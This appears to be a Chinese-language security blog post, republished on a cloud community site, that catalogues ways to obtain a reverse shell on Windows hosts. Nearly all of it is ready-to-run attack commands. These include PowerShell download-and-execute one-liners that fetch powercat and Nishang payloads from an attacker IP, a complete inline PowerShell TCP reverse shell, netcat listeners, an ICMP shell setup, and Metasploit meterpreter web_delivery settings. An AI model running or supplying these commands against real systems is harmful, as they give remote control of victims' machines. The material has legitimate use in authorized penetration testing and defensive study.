首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Windows环境下反弹shell各类姿势

Windows环境下反弹shell各类姿势

作者头像
Al1ex
发布2025-01-07 10:16:49
发布2025-01-07 10:16:49
1.3K00
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
文章前言

在渗透测试过程中我们有时候需要通过Windows平台来反弹shell到我们的VPS主机以及CS端,那么这个过程中我们就需要借助Windows平台内置的可执行程序来执行命令,其中首选的就是powershell,本篇文章我们主要介绍如何通过Windows平台中如何通过powershell来反弹shell操作

反弹shell
powercat反弹

powercat(https://github.com/besimorhino/powercat)是一个PowerShell函数,首先你需要加载这个函数才能执行它,你可以将下面的命令之一放入你的PowerShell配置文件中,这样在PowerShell启动时powercat就会自动加载,下面我们介绍powercat如何进行反弹shell并获取服务器端的权限:

Step 1:在攻击端一侧监听端口

代码语言:javascript
代码运行次数:0
运行
复制
nc -lnvp 4444

Step 2:在攻击端一侧使用python托管一个powershell文件

代码语言:javascript
代码运行次数:0
运行
复制
python2 -m SimpleHTTPServer 1234

Step 3:目标机反弹cmdshell

代码语言:javascript
代码运行次数:0
运行
复制
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd

Step 4:在供给端一侧成功收取到反弹的shell

Reverse TCP shell

Nishang(https://github.com/samratashok/nishang)是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/UDP/HTTP/HTTPS/ICMP等类型的Reverse shell,下面我们简单的演示一下关于如何使用Nishang来反弹shell的操作:

Step 1:在攻击端一侧监听端口

代码语言:javascript
代码运行次数:0
运行
复制
nc -lnvp 4444

Step 2:在攻击端一侧使用python托管文件

代码语言:javascript
代码运行次数:0
运行
复制
python2 -m SimpleHTTPServer 1234

Step 3:反弹shell操作

代码语言:javascript
代码运行次数:0
运行
复制
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.144 -port 4444

Step 4:随后成功反弹shell

Reverse UDP shell

Step 1:在攻击端一侧监听端口

代码语言:javascript
代码运行次数:0
运行
复制
nc -lup 6666

Step 2:在攻击端一侧使用python托管文件

代码语言:javascript
代码运行次数:0
运行
复制
python2 -m SimpleHTTPServer 1234

Step 3:反弹shell操作

代码语言:javascript
代码运行次数:0
运行
复制
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.204.144 -port 6666

Step 4:随后成功反弹shell

Reverse ICMP shell

Step 1:在攻击端一侧使用python托管文件

Step 2:在攻击端下载icmpsh_m.py文件忽略所有的ICMP数据包并开启监听

代码语言:javascript
代码运行次数:0
运行
复制
#格式说明
icmpsh_m.py Usage:
python icmpsh_m.py [Attacker IP] [Victim IP]

#执行实例
sysctl -w net.ipv4.icmp_echo_ignore_all=1           #忽略所有icmp包
python2 icmpsh_m.py 192.168.204.144 192.168.204.145     #开启监听

Step 3:反弹shell操作

代码语言:javascript
代码运行次数:0
运行
复制
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.204.144

Step 4:随后成功获取到反弹的shell

备注:如果提示"You need to install Python Impacket library first",则需要通过安装impacket来执行

代码语言:javascript
代码运行次数:0
运行
复制
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
自定义powershell类

我们可以利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell,其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1,

Step 1:攻击者开启监听

代码语言:javascript
代码运行次数:0
运行
复制
nc -lnvp 4444

Step 2:在受害者主机执行以下命令

代码语言:javascript
代码运行次数:0
运行
复制
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.204.144',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Step 3:成功反弹shell

通过使用MSF反弹shell

我们可以利用metasploit的web_delivery模块并使用python、php、powershell、regsvr32等进行反弹shell:

Step 1:在攻击者一侧进行监听

代码语言:javascript
代码运行次数:0
运行
复制
use exploit/multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set target 2
set LHOST 192.168.204.144
set LPORT 4444
exploit

Step 2:在受害者主机中执行上述命令

Step 3:随后成功反弹shell

Cobalt strike反弹shell

Cobalt strike的Scripted Web Delivery模块可通过bitsadmin、powershell、python、regsvr32等进行反弹shell,类似metasploit的web_delivery模块

Step 1:运行Cobalt strike并创建一个Listener, 点击"Cobalt Strike->Listeners",然后点击Add便可创建Listeners

Step 2:生成powershell payload,点击"Attack -> Web Drive-by -> Scripted Web Delivery",Type选择powershell

Step 3:随后在目标主机上执行上述命令

Step 4:随后成功收到反弹的shell

文末小结

本篇文章我们主要介绍了Windows平台中如何反弹shell到我们攻击者主机的目的~

推 荐 阅 读

横向移动之RDP&Desktop Session Hija

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-01-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 反弹shell
    • powercat反弹
    • Reverse TCP shell
    • Reverse UDP shell
    • Reverse ICMP shell
    • 自定义powershell类
    • 通过使用MSF反弹shell
    • Cobalt strike反弹shell
  • 文末小结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档